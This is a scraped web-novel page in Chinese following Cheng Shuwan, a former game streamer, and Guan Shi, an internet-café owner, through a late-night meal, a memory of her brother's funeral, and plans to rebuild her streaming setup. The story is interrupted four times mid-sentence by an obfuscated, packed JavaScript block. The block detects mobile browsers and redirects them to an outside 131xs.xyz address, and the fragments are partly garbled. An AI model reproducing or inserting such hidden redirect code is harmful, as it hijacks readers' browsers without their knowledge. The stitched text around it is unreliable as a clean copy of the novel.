;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16364890|183889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “不玩了,累了。”程舒晚麻溜地退出组队界面,晚上刚回来时没心情没胃口晚餐也没扒拉几口,现在倒是有些饿了,她打算出去找点吃的。 苏新胜闻言嘴角唰地撇下去:“别啊晚姐,江湖救急啊!” 程舒晚随口:“救不了,我跟你不熟。” “诶别,加好友,加个好友就熟了。”苏新胜急忙拉住程舒晚,又在她冷锋般的目光中讪讪松手,“……加个好友,下次一起玩。” 程舒晚:“我不加游戏好友。” “那微信?”苏新胜摸出手机,骐骥道,“加个?” 程舒晚刚提起一口气,“不”字还没说出口,苏新胜又补充道:“如果你感兴趣,我可以跟你说些关时不会提的秘密。” 程舒晚:“……” 她卡着一口气不上不下,沉默地看着苏新胜许久,脑子里有个冷漠的声音在说,别被这么明显的阳谋哄骗。 “我开酒吧的,也在这片附近,”苏新胜又说道,“来我酒吧消费,给你打七折。” 程舒晚:“……” 哦,这个可以。 谭婧那妞最喜欢的就是茶和酒,有机会可以跟她去品鉴一下。 怎么着也别跟白来的便宜过不去……呸,什么白来的便宜,是她精湛的游戏技术换来的,应得的! 加上程舒晚的微信,苏新胜这才心满意足收回手机,八卦道:“晚姐,你玩这游戏很久了?” 程舒晚操作下机,“嗯,开服到现在。” “你真喜欢这游戏。”苏新胜撑着手臂随口道,“我是打发时间,你水平这么厉害,都可以发展事业了。” 程舒晚微微一顿。 这句话像是石子扔进水里,荡起一片涟漪,漾着把今天那些好容易沉底的情绪重新翻上水面。 是啊。 事业。 她发展过了。 “我先走了。”她站起身来往外走。 苏新胜:“有空带我!” 程舒晚结账后走到门口,回头望了眼,网咖里灯火通明,人来人往,像是个巨大的归处,永远向她摆出邀请的姿态。 ……就是网费的确比普通地方要高点。 程舒晚被自己的想法逗笑了。 当初大学的时候,也是因为网费不划算而攒钱买了套设备,怀揣着不安和期盼,在出租屋开始了直播的事业。 此时此刻,倒是如同彼时彼刻。 程舒晚摸出手机,犹豫半晌,点开关时的微信聊天框,盯着那个“木吉网咖客服”,慢慢打下一行字。 “你这儿有成色好一点的二手电脑硬件和外设吗?” 点击发送。 刚发出去程舒晚又有些后悔了,马上把这句话撤回,但“木吉网咖客服”已经变成了“对方正在输入”,随后关时发来了消息。 “有。你还在店里吗?” 程舒晚只能继续打字:“在门口。” 关时:“见面详聊吧。吃夜宵吗?” 吃夜宵? 程舒晚确实是打算找点东西吃来着,但如果要跟关时搭伴……她总觉得有些别扭。 她想了想,问:“带你朋友一起?” 跟刚刚打游戏一样,叫上苏新胜,也许就没那么尴尬了。 这会儿关时没回答,程舒晚等了十来秒,身后传来声音:“不带他。” 程舒晚回头,个高腿长的关老板不知道什么时候站在那儿,双手插着兜,脸上带着暖融又放松的微笑,像是等候多时的大狗,可靠又温暖。 本来她还有些尴尬不安,但看到关时那张温和的笑脸时,没来由的,程舒晚心里的忐忑神奇地被抹平了去。 “那就你我?”她问。 “嗯。”关时走过来,“因为我决定让你请我,不带他可以省点钱。” 程舒晚:“……” 关时还是那个关时。 一点都不禁夸的狗男人。 “我没说要请客。”程舒晚道。 “可是你有求于我诶。”关时无辜道。 程舒晚:“那也不是你提。” 18. 夜宵 吃夜宵的地儿是关时挑的,程舒晚虽然来大荷这片有两周了,但平日只熟悉红枫小区到网咖、超市和公园那片的几条路,红枫小区背面那条扎堆的烧烤摊和大排档的街道,她还是第一次来。 天黑之后的街头是白天所见不到的另一番光景,人声锅声此起彼伏,拌了烟气的鲜香像是勾人的绳索,拽得人走不动道,稍不注意就要迷失在人声鼎沸的喧嚣之中。 关时目的坚定,带着程舒晚穿过热闹的街道拐进巷子里,脱离了主要的主街之后这里头就安静许多,两边是小馆子和小卖部、奶茶店之类,关时走到某处停下来,墙边有块不起眼的招牌“张记烧烤”,旁边是同样不起眼的店门。 程舒晚:“这儿?” “嗯,”关时往店门里走,“我妹很喜欢这家,店小,但味道很好。” 程舒晚没什么所谓,抬脚跟了进去。 张记烧烤里只有几张桌子,都坐满了客人,有些拥挤,但很干净。关时朝通向后厨的门喊了一声:“张姨!” 不多时,一个面庞圆润的阿姨掀开帘子探出头来,望见关时,眉开眼笑地招呼:“小关来啦,坐里面呀。” “好。”关时示意程舒晚往里走,一边笑着回应,“张姨,生意一如既往好啊。” 帘子后面还有单独的隔间,张姨带他们到空位上,“可不是嘛,还要感谢小关老板的照拂喔,这是对象吧?好漂亮的小姑娘。” 程舒晚愣了下,略感尴尬地开口纠正道:“不是对象。” 她瞥眼关时,这家伙倒是不尴尬,好像很熟悉这样的误会,面色如常地低头莞尔,这才接话:“嗯,朋友而已。” “哦,这样。”张姨了然,“那你们坐,勾完菜单给我就行。” “好。” 关时拉开椅子坐下,见程舒晚一直看着自己,眼神微妙,“怎么?” 程舒晚:“你经常被误会?” “哦,”关时笑笑,“长着这么一张脸,任谁都要以为我是浪迹情场的老手。” 程舒晚:“……” 关时:“没有哦,你可别误会我,我很纯情的。” 程舒晚:“……” 她深吸一口气,对关时的自我吹捧相当无语,“我不在乎。” 关时笑了,他拿起放在桌上的菜单纸和写得秃噜的铅笔头,问:“你有忌口吗?” “没,不要太辣就行。”程舒晚坐下,隔间是用合成板隔开的,偶尔能听见隔壁的高谈阔论,折叠木桌和塑料椅,非常街头。 她虽然对自己一直挺凑合,但是跟别人聊天谈事儿的时候,出于社交礼仪和面子,从来都是光顾那些精致到头发丝的餐厅或者茶楼,原本以为把网咖装修成那种死装样子的关时也一样,但没想到居然还有如此接地气的一面。 怪新奇的。 “那有特别喜欢的吗?”关时问。 程舒晚:“肉。纯肉。” 她对吃的不太讲究,但是罕见的是个肉食者,尤其爱不带骨头的那种大块的肉,吃起来才畅快。 关时:“好。” 他拿铅笔在纸质菜单上勾选,给程舒晚看了看,没什么问题就拿到张姨那儿去了,回来的时候顺了两瓶汽水,“汽水喝吗?不喝的话我去拿别的。” “这个就行,谢谢。”程舒晚停顿两秒,“我真的没那么娇惯,不用总问我的想法。” 关时坐下,把玻璃瓶的汽水递过来,“我一直这样,抱歉啊,让你有压力了?” “不是……”程舒晚叹了口气,接过饮料,“算了,当我什么都没说。” 关时扬扬眉,没再说别的,切入了正题:“你想要组电脑对吧?” 程舒晚垂眸捏着手里的吸管,一时间没有说话。 她是应邀来吃夜宵了,但是组电脑的事情她仍然没有定论。 虽然程舒晚并不缺那几千块钱,可她总有点固执的想法,似乎真的组了电脑,就意味着她决定要重新回到游戏主播的行业当中去。 毕竟前两周她从父母那儿搬出来之前,父亲砸了她的笔记本电脑,也是因为发现她在看游戏直播。 程舒晚最近之所以一直往网咖跑而不自己弄一台新电脑,还是潜意识里认为自己只是休息一阵子,之后依然该回到“正常生活”。 那种厌恶的,忙碌的,却又习惯的生活。 所谓游戏主播的梦,做一次就够了,还想怎么样呢。再选择一次,若是又落到跌得粉身碎骨的下场,她又该怎么办呢。 “你是不是不甘心。” 关时的声音突然响起。 这句话宛若一场平原上突然刮起的风暴,刷地把程舒晚面前所有的迷雾刮散,连带着她那些装模作样的自我哄骗一并掀开,她抬起头望向关时,脸上罕见地露出了茫然的神色。 问出这句话的关时身体往前倾,双手交叉架在桌子上,一双眼睛安静地看着程舒晚,没有任何情绪。 对上这双眼的一瞬间,程舒晚就明白过来。 他知道。 关时早就知道,她就是阿早。 她就是那个一声不吭退网,消失了四年的游戏主播。 而他,关时,一个来自四年前的影子,就在这里直视着她,不探究,不逼迫,却真诚得让人无法面对。 自从上次在家,关时说出自己看过阿早的直播和视频,程舒晚就知道肯定会有掉马的那天,她只是希望这一天不要来得太快。 但真正到了这个时候,她面对关时的目光,居然没有想象中的恐惧和尴尬。 只是慌乱和茫然了一瞬间,她便归于平静。 开始思考刚刚他说出口的那句话。 你是不是不甘心。 是啊。 她当然不甘心。 程舒晚垂眸捏着吸管,扯开话题,“我上次,是不是根本就没有瞒住你。” “嗯,”关时坦然,“你和阿早的声音,游戏风格,明摆着就是同一个人。” 程舒晚摊手放开那根被自己摧残的吸管,自嘲:“那我今晚还假装得那么辛苦。” 见她没有生气的模样,关时这才放松下来,往后靠椅背,舒缓地勾了勾唇角,“这不是怕你尴尬,不好拆穿么。” “你做过让我尴尬的事情不少。”程舒晚提醒道。 关时“哦”了声,懒洋洋的,“你有这么脆弱?” “……是啊,真是抱歉。”程舒晚装模作样歉意道,“毕竟第一次遇见这么像人的狗。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16364891|183889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 关时:“……嗤。” 他头一歪服气地笑出声来,这姑娘还是跟以前一样,吃不得一点亏。 “那你,”关时把话拐回正题,“组电脑是想打游戏呢,还是重新做直播?” 程舒晚逐渐平静,缓缓做了个深呼吸,“关时。” 她语气有些郑重,关时应了声:“嗯。” “本来,我不想麻烦你。”程舒晚声音很轻,宛如在半空中飘着,“只是这件事,我不知道该找谁参谋。” 关于重回直播行当这件事,程舒晚本身可以倾诉的对象就少,而且有四年前兄长的前车之鉴,她更不会轻易拿出来说。 谭婧会愿意听,但谭婧知道她遭受的所有不公和委屈,甚至比她本人还要愤愤不平。 今天程舒晚还没表现出重新当主播的意愿,谭婧已经双手双脚支持得恨不得亲自上了,要是她真倾诉些什么,这妮子更会一跃而起拍着胸脯主动当妈。 但程舒晚自己都没有想清楚,怎么能让谭婧来担当这个责任。 她不想让她操心。 但是关时的话,大概没问题。 他们俩并没有那么熟,而且关时虽然看过她的直播,但不知道她当年退网的内幕,或许能给一些中肯的建议。 在程舒晚的注视下,关时“咔”地打开了饮料瓶子,“几年前你直播的时候,有一场遇到了相当恶劣的演员,你那局玩的辅助,后面还做成了视频,记得吗?” 程舒晚想了想,是有点印象。 那是四年多前的一场排位赛,遇到了个演技高超的输出位演员,不但送死送得毫无破绽,甚至在公屏反咬一口指责她的辅助有问题,其他队友都被骗得一愣一愣的。 程舒晚换掉所有的辅助装,以输出之躯和高超的技术打得对面屁滚尿流,然后公屏上指着鼻子骂那演员队友:“你再演个试试,绿茶。” “……哦,”程舒晚回想起来有点儿乐,当时年轻气盛,锋芒都不遮,“有这事,怎么了?” 关时看着她,“刚刚我辅助你那局,你做的是一样的事情。” 程舒晚怔了怔。 是吗? 刚刚她有这么狂吗? 好像是的。 虽然这次没有贴脸嘲讽,但是仍然憋着一口不能让演员得逞的劲儿。 “你看你,跟当主播那会儿不是没变吗?”关时笑笑,“你明明不想输。” 她不想输。 是啊,她不想输。 她明明,最讨厌的就是低头。 不论是在游戏中,还是生活里。 但关时说她“不想输”这句话,程舒晚总觉得自己似乎曾经听过。 她在桌前陷入了思索,关时也没有发话,片刻后,张姨顶着一脑门汗推门进来打破沉默,笑盈盈地把几盘串端上,“久等啦。” “没,椅子都没坐热乎呢。”关时站起来把盘子拿到桌上,把门关了,回头见程舒晚还没动,于是拿了几根牛肉串放到她面前的盘子上。 正要让她趁热吃,程舒晚突然开口:“去年十月。” 关时抬头看她,“嗯”了声。 “我哥的葬礼上,我找你借了支烟。”程舒晚慢慢抬眸,“你说过。” 19. 葬礼 提起半年前的那场葬礼,程舒晚才恍惚,她刻意模糊了那天很多事情的记忆,平日也从不主动去回想,差点忘记那天才是她真正意义上第一次见到关时。 程舒恒生前是教龄九年的教师,桃李满园,前来吊唁者众多。程舒晚一边和司仪对流程,一边安排来宾,还要抽空对付情绪崩溃的母亲和对着程舒恒的照片低声咒骂的父亲,好容易松口气,身心俱疲地到走廊休息。 窗外下了一层细密的雨,潮湿又安静。 殡仪馆的走廊上来宾众众,都压低了声音交谈,但程舒晚路过时还是能听见他们在说什么。 “早上起早了,没吃饭,等会得在附近找点吃的……” “……诶,您也是这个行业的?加个微信吧,之后有机会可以合作一下。” “……程老师的父母看起来好惨啊,唉,白发人送黑发人,这怎么想不开呢。你说他们家是不是有点问题?” “你别说,看程老师的妹妹,从头到尾冷着脸,哥哥死了眉毛都不皱一下……” “诶,诶,嘘!” 程舒晚闭上眼,加快脚步从他们身边经过,拐进一个没有人的拐角,靠着瓷砖墙壁,攥紧了手,做了个狠狠的深呼吸。 那种包裹着全身的,潮湿的窒息感,如同套在头上的塑料袋,怎么都甩不掉。 这里仿佛不是吊唁死者的场所,而是一个以死者为引,组成的大型八卦社交之地。 程舒晚觉得自己像个空荡的游魂,穿行其间,举目四望仍然是两眼茫茫。 ……什么时候才能结束。 程舒晚揉了揉脸,强迫自己重新打起精神来,下个流程的时间快到了,她得赶快回去。 就是在这时候,走廊尽头的窗边,关时的身影落入视野。 他一袭黑衣靠在窗沿,嘴里叼着的烟已经凝结了长长的一串烟灰,他却一动不动如同雕塑,面无表情地望着窗外出神。 程舒晚本来是时候回到灵堂去了,但是她的视线盯着那青年,鬼使神差地没有移开。 不知道过了多久,走廊上突然穿堂而过一阵狂风,掀起程舒晚的长发,连带着窗外的雨丝都一并被吹进走廊来。 站在窗口的关时回神,偏头躲开雨水,就那么猝不及防的,程舒晚对上了他那双爬着些许血丝的眼。 眼中一片空然。 与她相同。 那个瞬间,程舒晚恍惚感觉。 这个青年,有可能。 是在场为数不多的。 真正为程舒恒的离去感到悲伤的人。 关时大概也没意料到旁边居然有人在看他,愣了下,二人对视无言。 片刻之后,关时把烟头掐灭,挥手散了散空气中的烟味,冲她收敛地笑了笑,“找我?” 他应该是习惯于对人微笑的那类人,但不知道是因为今天日子特殊,还是他心情不好,这个笑非常勉强。 程舒晚没有要找他,但还是想了想,道:“借支烟。” 大概是对这个要求感到意外,关时打量她好片刻,最后说道:“我不想带坏不抽烟的姑娘。” 尽管程舒晚做了被回绝的心理准备,但对这句充满大义凛然的话,还是在心里发出轻嗤。 这是什么,劝失足者从良? 倒是还挺把自己当回事的。 “打扰。”刚刚那个以为是同类的瞬间大概是错觉,程舒晚懒得扯皮解释,转身迈步就要离开。 还没走两步,关时在身后喊她一声:“程舒晚……对吧?” “嗯。”程舒晚今天向来宾自我介绍过,“怎么?” 关时轻轻靠在窗沿上,他个子高,看着她的时候目光从眼角流淌下来,带着些微暖和的温驯,不计较她的“不礼貌”,“你要去找别人借烟?” 程舒晚本来想讨不到就算了,但这么一说,她反应过来这样也行,于是点头,“嗯。” 关时似乎对她的回答不满意,撇了下嘴唇,“如果有烦闷的事情,可以找朋友倾诉。” 程舒晚看着他。 关时沉默片刻,说出下半句:“吸烟有害健康。” ……哦。 原来你知道啊。 “我没有要倾诉的事情。”程舒晚一字一句道,“我只是好奇。” 关时一挑眉头。 “警方说现场有大量烟头,程舒恒在那之前抽了很多烟。”程舒晚道,“我好奇他在抽烟的时候想到了什么,以至于最后还是决定认输。” 对这把人生的游戏打出了投降。 她眼角余光看见关时垂在身侧的手下意识地抽动一下。 “我想知道他究竟败给了什么。”程舒晚的声音很轻,“我不想输。” 走廊上一片沉寂,只有窗外细雨似有若无的沙沙声。程舒晚看了看时间,差不多了,她朝关时点点头,迈开脚步往回走。 “诶。”关时又叫她。 程舒晚回过头,这次,他递过来一支香烟。 “活着挺好的。”关时说,他逆着窗外的天光,眼底投下一片阴影,但看着程舒晚的眼眸却铺着一层柔软的光,“别认输。” ……原来。 不是关时说过。 “不想输”,是她自己说的。 她自己都忘记了,可是关时还记得。 程舒晚拿起关时递过来的牛肉串,低头吃了一口,满嘴的肉香和调料的香气,暂时压住了心里升腾而起的感慨和些微的感动。 此刻回想起来,她慢慢发觉前阵子搬家再次遇到关时的时候,自己真的没什么礼貌。 关时拿起桌上的辣椒粉,给自己那份串拐了一大勺,看得程舒晚目瞪口呆,“最后那支烟,你抽了吗?” “啊。”程舒晚盯着他手里已经看不出肉串本身颜色的重辣玩意儿,回过神来,“试了。” “有什么感想?”关时抬头问。 程舒晚吃肉,“没来得及有感想。” 关时:“嗯?” 程舒晚:“太呛了。” 她说完没听见关时的回应,抬起目光看过去,那家伙居然低头在笑。 “……你笑什么。”程舒晚看着他。 关时乐得靠在椅背上,“我想到我妹第一次去老苏的酒吧……就刚刚我那朋友,她还以为酒是什么好东西呢,不要可乐吵着要鸡尾酒,喝了一口之后,再也不去了。” “……你……”程舒晚张了张嘴,吐槽的话太多了,一时间卡在嘴边说不出去,只是凭空生出些荒诞的笑意,她居然也被感染得勾起嘴角,用尽全身的力气才压住,“别笑了,幼稚不幼稚。” “啊,知道了。”关时咳嗽两声终于平息了笑意,“不过也好,香烟这东西,能不碰就不碰。” 程舒晚:“那你?” “我……”关时顿了顿,笑了下,很快就收回了,“小时候没人教,碰得太早,别学我。” 不知道是不是错觉,程舒晚觉得他的笑有点苦涩。 关时没在这个话题上久留,重新回到一开始聊的事情,“既然你不甘心就此放弃,但又还有顾虑的话,不妨先做,做了再说。” 程舒晚沉思片刻,“嗯”了声。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16364892|183889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“那我确认一下,”关时道,“你是找我寻求了帮助,没错?” “设备这块,我想你是网咖老板,比较熟悉。”程舒晚回答。 “行,那设备,我帮你解决。”关时道,“明天晚上七八点差不多,你来店里验收。” “验收”这词显得相当正式,但关时平时的遣词本来就挺……有自己的理解的,程舒晚便不在这个词语上纠结,“一天足够吗?我也不是那么着急要,而且预算……” “我办事,你放心就好。”关时笑道。 他有一种相当可靠的气质,程舒晚说不清是与生俱来的天赋,还是做老板做久了积累的经验使然。 毕竟不是所有人拍着胸脯时说的话都可信,但关时就是能做到只要他发话,就真的能让人相信他能把一切搞定。 这样的信念感也感染了程舒晚,她不由得想,或许他说的没错。 先走一步,好过怀揣着不安和不甘继续在踩不到底的水中沉浮。 “谢谢。”程舒晚道。 关时摆了摆手,“小事。” 两人吃得差不多,程舒晚本来想借着去洗手间的借口把钱付了,但晚了一步,关时在下单的时候就已经结了账,还让张姨多打包了几盒,给店里值夜班的人带。 和生意人比人情世故,程舒晚还是自叹不如。 关时说自己还要回店里处理点事情的尾巴,于是二人在小区门口分了别,关时转身回网咖去了。 天色已晚,隔天也不是休息日,网咖的客人已经没有刚才那么多,关时跟前台值班的小贾和裴哥打了声招呼,放下给他们带的两盒烧烤,“趁热。” “谢谢时哥!”小贾欢呼,朝还闲着的同事招手,“时哥请客,快点来,手慢无啊!” 关时看向裴哥,“老苏还在不?” 裴哥朝方才他们打游戏的方向一指,“没走呢。” “行。”关时拎着盒子过去了。 苏新胜没打排位了,刚才他试着自己打了把晋级赛,没有关时和程舒晚带立刻被一棍子打回原形,只能转头乖乖拿匹配练习人物,关时来的时候他正好结束一盘,回头瞧关时一眼,阴阳怪气:“约会结束哦?” 关时拉了把椅子坐下,把烧烤扔给他,“诺。” “草,居然记得给我带狗粮。”苏新胜拆开袋子瞧,“这不得整两杯,喂,喝酒不?” 关时撑着下巴,懒懒地笑了声,“这是封口费。” “封口?”苏新胜闻言愣了愣,恍然大悟地反应过来,“哦,你等会儿再封,我还没问,你那小队友,不是,晚姐,不是……嘶,就,晚姐就你白月光啊?” 听到“白月光”三个字,关时掀起眼皮看了他一眼。 苏新胜意识到自己声音有点儿大,好在周围的网客都戴着耳机,他压低声音,“喂,解释解释?” 关时没什么正形地瘫在椅子里,双手闲散地搭着,“白什么月光,就是一起打过一年游戏而已。” “放你他狗日的屁,”苏新胜不吃他这套,“我不知道你?当初你哪天不找人五排上分儿啊,诶,结果一到小鬼叉烧上线就谁都叫不动你了,甜蜜双排去了,你现在在这里跟我‘而已’?” 关时垂眸凝着双手,好半晌才扯了下嘴角,“你多大了?” “啊?”苏新胜没明白他为什么突然来这一句,但还是老实回答,“二十六啊,差四个月二十七。” 关时:“奔三的人了还蜜糖灌脑壳,瞅见一男一女就要凑对儿,你性缘脑啊。” 苏新胜:“……” 狗日的。 20. 暗潮 “我有时候真想撕烂你那张狗嘴。”苏新胜挑了根烤鸡翅狠狠咬一口,“行吧,你说不是就不是——那怎么又凑一起了?我记得自从……之后,你好像就没有再上过你那个号了。” 关时垂着眼眸沉默半晌,才喃道:“缘分吧。之前住我楼上,玥玥的班主任,你记得吗?” 苏新胜点点头,“那个程老师吧,你跟他关系还不错。” “那是舒晚的亲哥。”关时看苏新胜一眼。 苏新胜看着关时,手里举着鸡翅呆愣有七八秒,发出感慨:“草。” 大概是自己说出来都觉得巧合得荒诞,关时坐在那也没忍住嗤笑一声。 年少时曾经一起打过游戏、未曾谋面的搭子,其兄长是他的邻居,他妹妹的班主任。诸多机缘巧合之下,时隔七八年,他们还能以另一重身份再见,怎么不是缘分。 对此感慨的同时,关时也清晰地触摸到心里藏着的另一份情绪。 隐隐的,不安的,恐惧。 “这么说,晚姐还不知道你就是二更天?”苏新胜问。 关时把思绪拉回来,深吸一口气,“所以我让你别提。” 苏新胜默了默,表情纠结片刻,“关狗,其实吧,你那会儿……” 关时抬头瞥他,眼神里没有笑容,浅色的眼眸被眼皮一拢,透露出无言的压迫来。 “……”苏新胜张了张嘴,还是顶着他的目光把后半句话说完了,“……没有你想象的那么糟糕。” 安静须臾。 关时眉头一扬,突然笑了,气氛陡然松下来,“用你说,我什么人啊,从来都没有多糟糕。我只是更喜欢现在的生活而已。” “啊,行。”苏新胜不再说什么,拿了串烤娃娃菜堵住他得意忘形的嘴。 “你自己吃肉就给老子拿菜。”关时嫌弃他递来的娃娃菜,自己从盒子里拿了根肉串。 苏新胜龇牙:“这不是你给我的封口费吗!” “还有劳务费。”关时咬了一口串,“帮我弄个摄像头和麦克风,我记得你有相关行业的朋友,价格好说。” “真不客气啊你。”苏新胜从兜里掏出手机来,“干什么,要去当擦边男主播了?” 关时气笑,“感谢你对我身材的认可,但为什么不能是颜值主播?” 苏新胜看了他一眼,“因为你不要脸吧。” 关时抬腿在他的椅子上踹了一下,苏新胜猝不及防被椅子带着滑出去两米,鸡翅差点蹭衣服上。 “玩不起。”他嘟囔着,手脚并用地划回来,“谁要直播?” 关时:“你晚姐。” “晚姐?”苏新胜惊讶道,“草,我才刚刚说她适合发展直播事业,转头她就决定了?效率太高了吧?” 关时闻言一顿。 “你跟她说的?”他看着苏新胜。 苏新胜没察觉到关时的视线,他低头在手机上找供货商,一边说道,“对啊,你去干活的时候我们打了一把,打完我就感慨了一下,她就找上你了。” 关时抿着嘴唇没说话。 “既然是晚姐,那我得上上心,我还有求于她呢。”苏新胜心心念念着上分的事儿,嘴碎地嘀咕,“她对设备有没有什么要求?还是我先挑着,等会问问她?” 他在这边叽里呱啦的,关时有些心不在焉,随口回了一句:“问我就行,你又没她联系方式。” 苏新胜:“有啊。” 安静。 苏新胜终于意识到什么,抬起头来,对上了关时意味深长的目光。 “你有她联系方式?”关时双手环绕胸前,似笑非笑,一字一句的,“刚刚加上微信了?” 苏新胜:“……昂。” 他觉得关时的神情有些不妙。 关时:“你主动加?” 苏新胜:“昂。” 关时:“她同意了?” 苏新胜卡壳,隐瞒了自己是用“告诉你关时自己不会提的秘密”才打动的程舒晚,生硬地点头,“昂。” 关时看着他半晌,服气地笑了,竖起拇指:“牛逼。” 苏新胜:“……关狗你这样很恐怖。” 关时:“没什么,真情实意,发自肺腑。” 他花了三天的时间才加上程舒晚的微信,还是在用了小计谋的情况下,这家伙倒好,第一次见面打了两把游戏就要到了。 这句“牛逼”是发自肺腑,想把苏新胜打包扔出去的心情也是发自肺腑。 在这儿继续坐下去迟早得气饱,关时索性站起来,下达了逐客令,“你吃完了早点滚回去,就你这甩手掌柜的派头酒吧没倒闭都是上天垂怜。设备记得搞定,明天下午我要见到东西。” “哇你……”苏新胜差点给鸡翅噎着,“剥削劳动力啊,调货是上下嘴皮子一碰的事吗?现在是半夜你知道不知道?” 关时:“所以给你的时间不多。” 苏新胜啧道:“你太行了,我得让晚姐知道你这副嘴脸,日后少他菠萝个腿的跟你来往……” 关时凉凉地打断他:“你很闲是吧?” 这话的警告意味顺着毛孔渗进苏新胜皮肤里,他鸡皮疙瘩起了一身,话头都顿了顿,“关时,你知不知道你现在看起来很像个饭盆被挖了一勺的狗?” 关时:“……” 苏新胜咧嘴笑了,在嘴巴跟前做了个拉拉链的动作,“安心吧,守口如瓶。” 关时:“滚蛋。” 时间来到晚上十一点半,关时联系完设备相关之后跟值班的小贾和裴哥打了声招呼,拿着剩下的烧烤回家去了。 马路上安静,路边的树木郁郁苍苍,在微风下一晃一晃,发出沙沙的声响。关时一边走着,觉得时间是真快,回南天紧紧跟着的就是夏天的苗头,现在穿着长袖开始感到有些潮湿的闷热了。 他把袖子往上撸了一把,紧实的右手臂上,那道显眼的增生刀疤露了出来。 关时撸袖子的动作顿了顿,随后才继续往上挽了几下,把手插在兜里,一面走,一面低头看着地面上交错的树根。 苏新胜刚刚的话冷不丁在脑海中浮现。 其实吧,你那会儿。 没有你想象的那么糟糕。 关时深深吸了一口气,缓慢地,长长地,呼了出来。 大荷这片街区过去并不是什么体面地方,虽然经过多年一轮又一轮的清缴,现在已经没有了那些不三不四的踪影,但有些东西就像这些扎根已久的树根,无法清除,也无法遮盖。 他手上的疤痕也是一样。 一阵音乐突然响起,关时的思绪顷刻回笼,这才摸出兜里的手机看,来电备注是“玥玥”。 妹妹打来的电话。 关时吸一口气调整状态,按下接通时,声音跟往常一样带上了笑意:“这才几步路,这么想我?” 关星玥在学校学得烦了,耍着赖请了明 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16364893|183889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天半天假,现在正在家里待着,“我想你带的张记烧烤。快点,再晚我得睡了!烧烤凉了都!” “嗯,”关时道,“五分钟到家。” “爱您。”馋猫妹妹吃人嘴短地使用了嘴甜技能,随后干净利落地挂断电话。 关时把手机放回兜里,掐着脸上的肌肉拍了几下,让表情看起来尽量轻快些。 别想那么多。 只要做好那个和蔼热情的小关老板就万事大吉。 他可以处理好一切。 关时说第二天晚上七八点再去找他,但是程舒晚躺到床上之后迟迟睡不着,满脑子都是这件事。 她有点后悔了。 程舒晚摸起手机,点开谭婧的聊天框:“我恨你。” 要不是这位姐提这茬,她今天晚上怎么会感伤悲秋的,头脑一热跟关时说了那么多。 谭婧还醒着,很快发了个问号过来。 程舒晚:“姐们儿被你激将了。” 谭婧:“哦。” 程舒晚:“哦?” 这什么态度? “你是重新考虑好了直播的事对吧?反正迟早的,自己做的决定,别找我的茬。”谭婧痛痛快快地道,“要挑设备配电脑吗?帮你?” “不用。”程舒晚手指顿了顿,“拜托邻居帮忙了。” “邻居?”谭婧看见这个词,愣了下,“男的女的?多大年纪?” 程舒晚:“……男的。同龄人。” “卧槽?”谭婧闻到八卦的味道,连串的信息发过来,手机一时半会儿振个不停,“什么邻居?你这死出还会拜托人,怎么不声不响的?什么人啊能打动你,不对,什么人啊没被你给呛跑还愿意帮你,我得去膜拜一下,快说,什么邻居?” 程舒晚捏着手机咬牙切齿,“你眼里我这么不堪?” 谭婧:“不啊,至少你长得挺好看的,这是你在找对象上为数不多的优点。” “……你消停点,别给我当赛博娘家。”程舒晚牙疼,“我就是头脑一热,现在都不知道怎么还人家人情。” 谭婧觉得程舒晚的分寸感严谨过头了,“让人帮你弄台电脑,你又不是不给钱,算什么人情。大不了你烤俩蛋糕送人家呗,你不是会吗?” “哦,”程舒晚想了想,“好主意。” 上回看见厨房有烤箱,她就买了些材料放冰箱里了,这会儿倒是能派上用场。 谭婧发了个“你不对劲”的表情包,“很少见你这么主动应对人情啊,晚子,对方到底什么人?” 程舒晚:“有点复杂。” 谭婧:“长话短说。” 程舒晚想了想,“他是我哥以前的朋友。” 谭婧:“啊。” 程舒晚:“几年前看过我直播。” 谭婧:“啊……啊?” 程舒晚:“这阵子我打游戏的网咖是他开的。” 谭婧:“……” 程舒晚:“住我楼下。” 这会,聊天框安静了十来秒,随后弹出谭婧的消息。 谭婧:“帅吗?” 